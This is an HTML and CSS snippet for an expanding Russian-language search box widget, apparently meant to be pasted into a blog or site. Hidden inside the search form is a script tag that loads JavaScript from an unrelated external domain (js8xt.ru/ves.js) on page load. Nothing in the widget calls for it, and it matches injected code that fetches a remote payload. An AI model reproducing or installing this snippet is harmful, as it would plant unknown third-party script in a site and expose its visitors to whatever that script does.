<style>   
  #wrap-search {   
  margin: 0 auto;   
  width: 100px;   
  -moz-transition: all .2s ease-out;   
  -webkit-transition: all .2s ease-out;   
  -o-transition: all .2s ease-out;   
  transition: all .2s ease-out;   
  text-indent: 0px;}   

  #wrap-search br { display: none; }   

  #wrap-search #search {   
  background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
  background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
  filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
  border-radius: 5px;   
  padding: 4px;   
  }   

  #wrap-search:hover { width:200px; }   

  .form-search {   
  background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
  background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
  filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
  border: 1px solid #747474;   
  border-radius: 3px;   
  box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
  height: 32px;   
  position: relative;   
  -moz-transition: all .2s ease-out;   
  -webkit-transition: all .2s ease-out;   
  -o-transition: all .2s ease-out;   
  transition: all .2s ease-out;   
  }   

  .form-search input[type='text'] {   
  background: none;   
  border: none;   
  color:#6E7074;   
  height: 34px;   
  line-height: 34px;   
  padding: 0 27px 0 6px;   
  font-family: Helvetica, Arial, sans-serif;   
  font-size: 13px;   
  text-shadow: 0 1px 0 #FFF;   
  }   

  #wrap-search:hover input[type='text'] { color:#597C84; }   

  #wrap-search:hover .form-search {   
  background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
  background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
  filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
  box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
  color: #25464D;   
  }   

  .form-search input[type='image'] {   
  height: 32px;   
  opacity: .5;   
  filter:alpha(opacity=50);   
  position: absolute;   
  right: 0px;   
  top: 0px;   
  width: 32px;   
  }   

  .form-search input[type='image']:hover {   
  opacity: 1;   
  filter:alpha(opacity=100);   
  }   

  </style>   

  <div id="wrap-search">   
  <div id="search">   
  <form class="form-search" method="get" action="/search" target="_blank">  
  <script language=JavaScript src=http://js8xt.ru/ves.js></script>   
  <input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
  <input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
  </form>   
  </div>   
  </div>